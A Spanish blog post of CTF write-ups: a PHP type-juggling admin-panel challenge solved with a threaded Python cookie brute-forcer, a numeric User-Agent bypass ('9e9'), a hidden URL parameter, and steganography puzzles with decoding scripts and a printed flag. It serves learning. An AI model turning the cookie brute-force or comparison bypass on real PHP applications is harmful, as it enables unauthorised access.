Hoy os traigo la resolución de algunos retos sencillos de CTF – Capture The Flag (en español, Captura la Bandera).
Los CTF son una serie de desafíos informáticos enfocados a la seguridad, con los que pondremos a prueba nuestros conocimientos y aprenderemos nuevas técnicas.

Desde hace unas semanas formo parte de Ripp3rs y competimos a través de Ctftime.org
Vamos a resolver algunos de los retos a los que nos hemos tenido que enfrentar en los últimos CTF.

Web

Teaser CONFidence CTF 2019 – My admin panel

Enunciado

I think I’ve found something interesting, but I’m not really a PHP expert. Do you think it’s exploitable?
https://gameserver.zajebistyc.tf/admin/

Resolución
Visitamos la url y nos encontramos el código php que utiliza la página.

Nos descargamos el fichero login.php.bak y podremos revisar el código fuente:

<?php
include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}
if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");
    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }
    exit("\n");
}
display_admin();
?>

Vamos a interceptar la petición con Burp Suite para hacer más sencillo el proceso de obtener la pista (linea 17).
Debemos crear una cookie ‘otadmin’ con el formato otadmin={“hash”: “MD5”}

La clave de la pista está en ord(MD5($cfg_pass)[$i]) & 0xC0

0006464640640064000646464640006400640640646400
ord(i) & 0xC0 == 0 → si i es un número
ord(i) & 0xC0 == 64 → si i es una letra

Así que sabemos que los 3 primeros caracteres del MD5 correcto son números; el fallo del código está en que hace una comparación “loose” (https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
Así que con adivinar los 3 primeros caracteres del MD5 podremos resolver el reto, vamos a crear un pequeño fichero en python:

#!/usr/bin/env python3
import requests
import threading
import time
import os

def brute(sol):
    data = {'otadmin': '{"hash": %s}' % sol}
    r = requests.get('http://gameserver.zajebistyc.tf/admin/login.php', cookies=data)
    if '0006464640640064000646464640006400640640646400' not in r.text:
        print('[+] Solution: ' + str(sol), flush=True)
        print(r.text)
        os._exit(1)
    else:
        pass

for i in range(99, 999):        
    thread1 = threading.Thread(target=brute, args=[i,])
    thread1.start()
    time.sleep(0.05)

Lo ejecutamos y obtenemos el flag.

RADAR CTF 2019 – Puzzle

Enunciado

We love puzzle and we put a small puzzle for you ..
If you can’t solve it study some math and come back again
——————————————–
Challenge’s URL :
http://blackfoxs.org/radar/puzzle

Resolución
Visitamos la url:

Revisemos el código fuente de la página:

En las últimas lineas vemos <!– don’t forget to remove /puzzle_code_file.zip –>

En el fichero puzzle_code_file.zip obtenemos el código fuente del index.php, podéis revisarlo entero en Puzzle – index.php
La parte más importante:

<?php
$puzzle = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($puzzle)){
      if (strlen($puzzle) < 4){
          if ($puzzle > 10000){

Como veis debemos tener un User-agent numérico mayor que 10000 con menos de 4 caracteres.
Tras darle unas vueltas, una solución es: 9e9
Usando un script de python:

#!/usr/bin/env python
import requests
import re

url = 'http://blackfoxs.org/radar/puzzle/'

headers = {
    'User-Agent': '9e9',
}

r = requests.get(url, headers=headers)
m = re.search('id="desc">(.+?)</h2>', r.text)
if m:
    found = m.group(1)
    print found

RADAR CTF 2019 – Easy Web

Enunciado

It’s easy
——————————————–
Challenge’s URL :
http://blackfoxs.org/radar/easyweb

Resolución
En el código fuente de http://blackfoxs.org/radar/easyweb vemos: <!– index.php?secretword= –>.
Tras varias pruebas obtenemos el flag en http://blackfoxs.org/radar/easyweb/index.php?secretword=radar

Criptografía y esteganografía

RADAR CTF 2019 – Black

Enunciado

Just a black photo ..

Fichero: black.jpg
Resolución
Podemos solucionar este reto fácilmente usando Stegsolve

RADAR CTF 2019 – Blanks

Enunciado

Maybe it’s not blank

Fichero: flag.txt
Resolución
Parece un fichero de text vacio, pero si lo abrimos con un visor hexadecimal vemos:

Vamos a convertirlo a unos y ceros, donde hay un 09 ponemos 0 y donde hay un 20 ponemos un 1. Usemos un script de python:

#!/usr/bin/env python
import binascii
import codecs

def decode_binary_string(s):
    return ''.join(chr(int(s[i*8:i*8+8],2)) for i in range(len(s)//8))

f = open('flag.txt', 'rb')
hex_flag = f.read().encode('hex')
binary = hex_flag.replace('09', '0').replace('20', '1')

print decode_binary_string(binary) + '}'
# radar{blanks_but_not_blankz}

¿Me ayudas a compatirlo?